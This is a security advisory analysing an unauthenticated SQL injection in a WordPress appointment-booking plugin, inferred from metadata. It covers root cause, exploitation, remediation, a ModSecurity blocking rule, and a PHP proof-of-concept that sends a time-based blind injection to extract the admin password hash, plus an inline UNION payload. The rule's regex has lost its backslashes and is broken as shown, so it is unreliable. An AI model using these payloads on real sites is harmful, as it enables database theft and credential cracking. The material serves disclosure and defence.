Atomic Edge analysis of CVE-2026-11823 (metadata-based): This critical unauthenticated SQL injection vulnerability affects the BookingPress Appointment Booking Pro plugin for WordPress versions up to and including 5.7.1. The flaw enables attackers to inject arbitrary SQL queries through the ‘store_service_date’ parameter processed by the bpa_assign_staffmember_to_slots() function, leading to sensitive database information disclosure with a CVSS score of 7.5 (High).
Root Cause: Atomic Edge analysis infers from the CWE-89 classification and vulnerability description that the plugin’s bpa_assign_staffmember_to_slots() function receives POST data and applies stripslashes_deep() to it, then interpolates the result directly into a SQL LIKE clause without parameterization. The explicit use of stripslashes_deep() suggests the developers attempted to handle escaping but failed to use $wpdb->prepare() or prepared statements. This is a classic SQL injection pattern where user input enters a SQL query via string concatenation. The code is not available for download, so this analysis is based entirely on metadata inferences.
Exploitation: An unauthenticated attacker sends a POST request to the WordPress AJAX endpoint /wp-admin/admin-ajax.php with action parameter set to the plugin’s handling function (likely bookingpress_appointment_booking_pro_assign_staffmember_to_slots or similar) and includes the ‘store_service_date’ parameter containing a SQL injection payload. The payload exploits the LIKE clause context, for example appending a UNION-based injection: 2025-01-01′ UNION SELECT user_login,user_pass FROM wp_users WHERE ‘1’=’1. The stripslashes_deep() call does not prevent injection because it only removes slashes from escaped quotes, allowing an attacker to craft input that bypasses this simple filtering.
Remediation: The patch (version 5.7.2) likely replaces the string interpolation with proper parameterized queries using $wpdb->prepare(). The fix should change the LIKE clause from direct variable substitution to using $wpdb->prepare() with placeholders (%s). Additionally, the plugin should validate that ‘store_service_date’ contains a proper date format before using it in queries, and should implement nonce verification and capability checks on the AJAX handler to restrict access to authenticated users if the functionality requires it.
Impact: Successful exploitation allows an unauthenticated attacker to extract arbitrary data from the WordPress database, including user credentials (hashed passwords), user emails, session tokens, and any other sensitive information stored in custom tables. The CVSS vector indicates a HIGH confidentiality impact with no impact on integrity or availability. Attackers can leverage extracted hashed passwords for offline cracking or credential stuffing attacks against other services.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-11823 (metadata-based)
# Blocks unauthenticated SQL injection via AJAX request to BookingPress appointment slot assignment endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202611823,phase:2,deny,status:403,chain,msg:'CVE-2026-11823 - BookingPress Appointment Booking Pro SQL Injection via store_service_date',severity:'CRITICAL',tag:'CVE-2026-11823'"
SecRule ARGS_POST:action "@streq bookingpress_assign_staffmember_to_slots"
"chain"
SecRule ARGS_POST:store_service_date "@rx (?i)(b(union|select|insert|update|delete|drop|alter|sleep|benchmark)b|'s*--|bORbs+d+s*=s*d+|bANDbs+d+s*=s*d+)"
"t:none,setvar:'tx.cve_2026_11823_blocked=1'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11823 - BookingPress Appointment Booking Pro <= 5.7.1 - Unauthenticated SQL Injection via 'store_service_date' Parameter
// NOTE: This PoC is constructed from CVE metadata. The exact AJAX action name is inferred;
// it may vary and require adjustment based on the actual plugin code.
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
// Inferred AJAX action for this vulnerability based on function name 'bpa_assign_staffmember_to_slots'
$ajax_action = 'bookingpress_assign_staffmember_to_slots';
// SQL injection payload: blind boolean-based extraction of admin user password hash
// The injection targets a LIKE clause, so we close the LIKE with ' and append a UNION SELECT or AND condition.
// This payload is a time-based blind injection to avoid detection and confirm vulnerability:
$payload = "2025-02-18' AND (SELECT IF(MID((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)='$',SLEEP(5),0)) AND '1'='1";
$post_data = array(
'action' => $ajax_action,
'store_service_date' => $payload,
// Additional parameters the function may expect (inferred)
'service_id' => '1',
'staffmember_id' => '1'
);
echo "[+] Sending exploit payload to $target_urln";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response length: " . strlen($response) . " bytesn";
echo "[+] Note: A successful blind injection would cause a delay if SLEEP() executes. Monitor response time.n";
// Example extraction of first character of admin password hash using time-based blind SQLi:
// $char_index = 1;
// $payload = "2025-02-18' AND (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),$char_index,1))>64,SLEEP(3),0)) AND '1'='1";
?>
